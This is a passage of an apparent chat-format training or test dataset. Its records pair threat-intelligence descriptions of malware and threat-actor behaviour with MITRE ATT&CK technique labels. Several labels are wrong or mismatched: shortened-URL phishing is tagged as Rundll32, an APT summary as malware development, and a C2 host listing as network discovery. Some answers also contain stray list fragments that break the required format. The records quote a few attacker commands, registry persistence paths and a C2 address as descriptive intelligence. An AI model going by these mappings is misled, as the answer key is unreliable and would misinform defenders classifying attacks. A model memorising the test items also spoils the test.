                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware Delivery Method  In all emails sent to these government officials, the actor used the same attachment: a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used the `tasklist` command to search for one of its backdoors."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SNUGRIDE is capable of executing commands and spawning a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMail can archive files on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors sent spearphishing emails containing links to compromised websites where malware was downloaded."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then calls the fcL4qOb4 function to set the scheduled task and disguise as the one used by Google"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used compromised WordPress blogs as C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSOURCE queries Registry keys in preparation for setting Run keys to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used Registry Run keys for persistence. The group has also set a Startup path to launch the PowerShell shell command and download Cobalt Strike."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec can exfiltrate data via a DNS tunnel or email, separately from its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has commands to delete files and persistence mechanisms from the victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wingbird uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service', 'T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker can perform a UAC bypass if it is not executed with administrator rights or if the infected host runs Windows Vista or later."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "saves each collected file with the automatically generated format {0:dd-MM-yyyy}.txt ."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Yet, both in August 2018 and 2019 Silent Librarian was lining up for the new academic years, once again targeting the same kind of victims in over a dozen countries"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Invoke-Mimikatz.ps1 is the PowerShell implementation of Mimikatz. The PowerShell script loads Mimikatz.exe reflectively into the process memory."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The same code snippets are combined into a second stage JavaScript in “C:\\Users\\<User Name>\\”"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At the end of August 2018, the Sednit group launched a spearphishing email campaign where it distributed shortened URLs that delivered the first stage of Zebrocy components. In the past, Sednit used a similar technique for credential phishing. However, it is unusual for the group to use this technique to deliver one of its malware components directly. Previously, it had used exploits to deliver and execute the first stage malware, while in this campaign the group relied entirely on social engineering to lure victims into running the first part of the chain. The screenshot in Figure 1 shows Bitly statistics for the shortened URL used in this campaign"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "binds and listens on port 1058."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has attempted to disable security software by creating a suspended process for the security software and injecting code to delete antivirus core files when the process is resumed."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As mentioned in the table above, version 3 has two forms - one is an independent executable, and the other is a loader that loads a DLL from the resources section and executes it. Even before doing any static / dynamic analysis, we can use VirusTotal to determine that the resources section probably contains more data, in this case an encrypted DLL that is loaded into memory"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One variant of CloudDuke uses a Microsoft OneDrive account to exchange commands and stolen data with its operators."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has used \"ProcessWindowStyle.Hidden\" to hide windows."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has stolen legitimate certificates to sign malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We can also see files created in a TEMP folder that are serving as a small database, where Dyreza stores information, before they are sent to the C&amp;C"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The started command will send the following information to the C&C:  device_model: the model identifier (e.g.: MacBookPro9,2) bot_version: version of Keydnap build_name: the “build name” that was given by downloader os_version: OS X or macOS kernel version ip_address: external IP address as reported by ipify.org has_root: 1 if executed as root, 0 otherwise  Backdoor commands The response to get_task contains an integer to identify the type of command and optional arguments"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has used rundll32.exe for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A separate communication channel is created for each installed module. The communication protocol used is TLS over TCP. The communication is handled with the HP-Socket library. All the messages are RC4 encrypted using the hardcoded key. If the size of the message to be transferred is greater than or equal to 4KB, it is first compressed using zlib’s Deflate implementation"
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BACKSPACE achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpicyOmelette has been executed through malicious links within spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates with its C2 servers over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy can gather extended system information, such as information about the operating system, disks, and memory."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The inclusion of both phone and IMSI numbers show the highly targeted nature of this cyber intrusion. If an SMS message contained either a phone number or an IMSI number that matched the predefined list, it was saved to a CSV file for later theft by the threat actor"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging', 'T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can sniff network traffic to look for packets matching specific conditions."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has been delivered via spearphishing e-mails with password protected ZIP files."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot files have been named `UltraVNC.exe` and `WINVNC.exe` to appear as legitimate VNC tools."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following initial access, GRIM SPIDER focuses on collecting credentials from the compromised hosts and uses existing RDP in an attempt to get a domain administrator account and access to the Windows Domain Controller. This process can take several iterations of harvesting credentials, connecting to new systems and establishing persistence"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The success of the Dropping Elephant group is striking given that no zero-day exploits or advanced techniques were used to target high-profile victims – it’s clear that by applying security updates and improving the security awareness of staff, the success of attacks like this can be prevented. At the start of the year we predicted that APT groups would invest less effort in developing sophisticated tools and make greater use of off-the-shelf malware. Dropping Elephant provides a further example of how low investment and use of ready-made toolsets can be very effective when combined with high quality social engineering."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ‘jli.dll’ file acts as the first layer of the Ecipekac loader. This DLL file has a number of export functions; however, all of them refer to a similar function that carries the main loading feature"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of spawning a Windows command shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Poseidon Group's Information Gathering Tool (IGT) includes PowerShell components."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Remexi, one of the malware in use by Chafer, had the following  command and control host: 87pqxz159.dockerjsbin[.]com Interestingly, IP address  83.142.230.138, which serve as a command and control address for an OilRig related sample (3a5fcba80c1fd685c4b5085d9d474118), was pointed to by 87pqxz159.dockerjsbin[.]com as well"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actors also took additional steps to replace some variable strings in the more recent samples, likely in an attempt to avoid signature-based detection from Yara rules. Once the document was opened, it prompted the user to enable the macro titled \"BlackWater.bas\"."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then pastebin.com, github.com, mailimg.com, upload.cat, dev-point.com and pomf.cat were used as channels for the different malware stages before achieving a full RAT implementation, which then communicates with the corresponding C2 server"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TYPEFRAME has used a malicious Word document for delivery with VBA macros for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has established persistence by setting the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key value for wdm to the path of the executable. It has also used the Registry entry HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run vpdn “%ALLUSERPROFILE%\\%APPDATA%\\vpdn\\VPDN_LU.exe” to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used spearphishing emails with malicious Microsoft Word attachments to infect victims."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysis of BRONZE BUTLER's operations, targeting, and capability led CTU researchers to assess that it is likely that the group is located in the PRC. The group has used spearphishing, strategic web compromises (SWCs), and an exploit of a zero-day vulnerability to compromise targeted systems. After exfiltrating targeted data from a network, BRONZE BUTLER typically deletes evidence of its activities. However, it maintains access to compromised environments when possible, periodically revisiting compromised sites to identify new opportunities for data exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has the capability to download files to execute on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyTurla has been deployed as `w64time.dll` to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream has the ability to gather user information from the targeted system using `whoami/upn&whoami/fqdn&whoami/logonid&whoami/all`."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ajax Security Team has used CWoolger and MPK, custom-developed malware, which recorded all keystrokes on an infected system."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Along the way, HermeticWiper’s more mundane operations provide us with further IOCs to monitor for. These include the momentary creation of the abused driver as well as a system service. It also modifies several registry keys, including setting the SYSTEM\\CurrentControlSet\\Control\\CrashControl CrashDumpEnabled key to 0, effectively disabling crash dumps before the abused driver’s execution starts"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rancor has used cmd.exe to execute commmands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As is evident here, the SSH server will accept connections on port number 6789. By running SSH on the server in a compromised network, attackers can come back to the network whenever they want"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We suspect that the malware uses this extension to grab the victim’s cookies and use them from another device to ride the victim’s active session"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor can set attributes of log files and directories to HIDDEN, SYSTEM, ARCHIVE, or a combination of those."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command IDDescription     0Uninstall Keydnap and quit   1Update the backdoor from a base64-encoded file   2Update the backdoor given a URL   3Decode and execute a base64-encoded file   4Decode and execute a base64-encoded Python script   5Download and execute a file from a URL   6Download and execute a Python script from a URL   7Execute a command and report the output back to the C&C server   8Request administrator privileges the next time the user runs an application   9Decode and execute, or stop, a base64-encoded file calledauthd_service    The last two commands stand out"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1132 - Data Encoding', 'T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has used PowerView to enumerate all Windows Server, Windows Server 2003, and Windows 7 instances in the Active Directory database."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry uses Tor for command and control traffic and routes a custom cryptographic protocol over the Tor circuit."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065  to compromise on-premises versions of Microsoft Exchange Server, enabling access to email accounts and installation of additional malware."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can upload, download, and execute files on the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker exploited the MS08-067 Windows vulnerability for remote code execution through a crafted RPC request."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has been known to create or enable accounts, such as \"support_388945a0\"."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used DYEPACK to manipulate SWIFT messages en route to a printer."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can determine if an anti-virus product is installed through the resolution of the service's virtual SID."
            },
            {
